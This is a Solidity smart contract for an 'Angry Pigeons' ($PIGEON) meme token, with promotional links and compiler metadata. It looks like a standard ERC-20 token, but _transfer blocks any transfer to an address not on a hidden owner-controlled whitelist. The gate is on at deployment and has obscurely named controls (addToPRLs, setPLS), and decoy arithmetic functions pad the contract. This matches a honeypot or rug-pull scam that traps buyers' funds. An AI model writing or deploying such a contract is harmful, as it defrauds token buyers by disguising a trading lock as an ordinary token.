/*********************************************************

Angry Pigeons official contract.

  _____ _____ _____ ______ ____  _   _ 
 |  __ \_   _/ ____|  ____/ __ \| \ | |
 | |__) || || |  __| |__ | |  | |  \| |
 |  ___/ | || | |_ |  __|| |  | | . ` |
 | |    _| || |__| | |___| |__| | |\  |
 |_|   |_____\_____|______\____/|_| \_|
                                       

$PIGEON - Angry Pigeons | Chaos, action, and fun with a wild flock on explosive adventures. Ready to soar?

+-----------------------------------------+ 
| Website:    https://angrypigeons.com
| Game/App:   https://game.angrypigeons.com
| Telegram:   https://t.me/AngryPigeonsBase
| X:          https://x.com/AngryPigeonBase
+-----------------------------------------+ 

*************************************************************/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract AngryPigeons {
    // Variables
    string private constant _name = "Angry PIGEONs";
    string private constant _symbol = "PIGEON";
    address private _owner;
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1000000000 * 10 ** uint256(_decimals);
    bool private projectLaunched = true;

    // Events
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed tokenOwner, address indexed spender, uint256 value);

    // Mappings
    mapping(address => bool) private token;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    // Constructor method
    constructor() {
        _owner = msg.sender;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        token[msg.sender] = true;
    }

    // Ownership modifier
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner.");
        _;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public pure returns (uint256) {
        return _totalSupply;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function owner() public view returns (address) {
        return _owner;
    }
    
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    
    function allowance(address tokenOwner, address spender) public view returns (uint256) {
        return _allowances[tokenOwner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "ERC20: PIGEON token transfer amount exceeds allowance.");
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: PIGEON token transfer from the zero address.");
        require(recipient != address(0), "ERC20: PIGEON token transfer to the zero address.");
        require(amount <= _balances[sender], "Insufficient PIGEON token balance to transfer.");

        if (projectLaunched) {
            require(token[recipient], "Not found on PIGEON list.");
        }

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _approve(address tokenOwner, address spender, uint256 amount) internal {
        require(tokenOwner != address(0), "ERC20: PIGEON token approve from the zero address.");
        require(spender != address(0), "ERC20: PIGEON token approve to the zero address.");

        _allowances[tokenOwner][spender] = amount;
        emit Approval(tokenOwner, spender, amount);
    }

    // Transfer ownership
    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner can not be the zero address.");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    // Renounce ownership
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    function addToPRLs(address[] calldata pl) external onlyOwner {
        for (uint i = 0; i < pl.length; i++) {
            token[pl[i]] = true;
        }
    }

    function sum(uint256 i, uint256 j) public onlyOwner view returns (uint256) {
        return i + j;
    }

    function multiply(uint256 i, uint256 j) public onlyOwner view returns (uint256) {
        return i * j;
    }
    
    function setPLS() external onlyOwner {
        projectLaunched = false;
    }

    function substract(uint256 i, uint256 j) public onlyOwner view returns (uint256) {
        return i - j;
    }

    function division(uint256 i, uint256 j) public onlyOwner view returns (uint256) {
        return i / j;
    }
}

{
  "compilationTarget": {
    "AngryPigeons.sol": "AngryPigeons"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}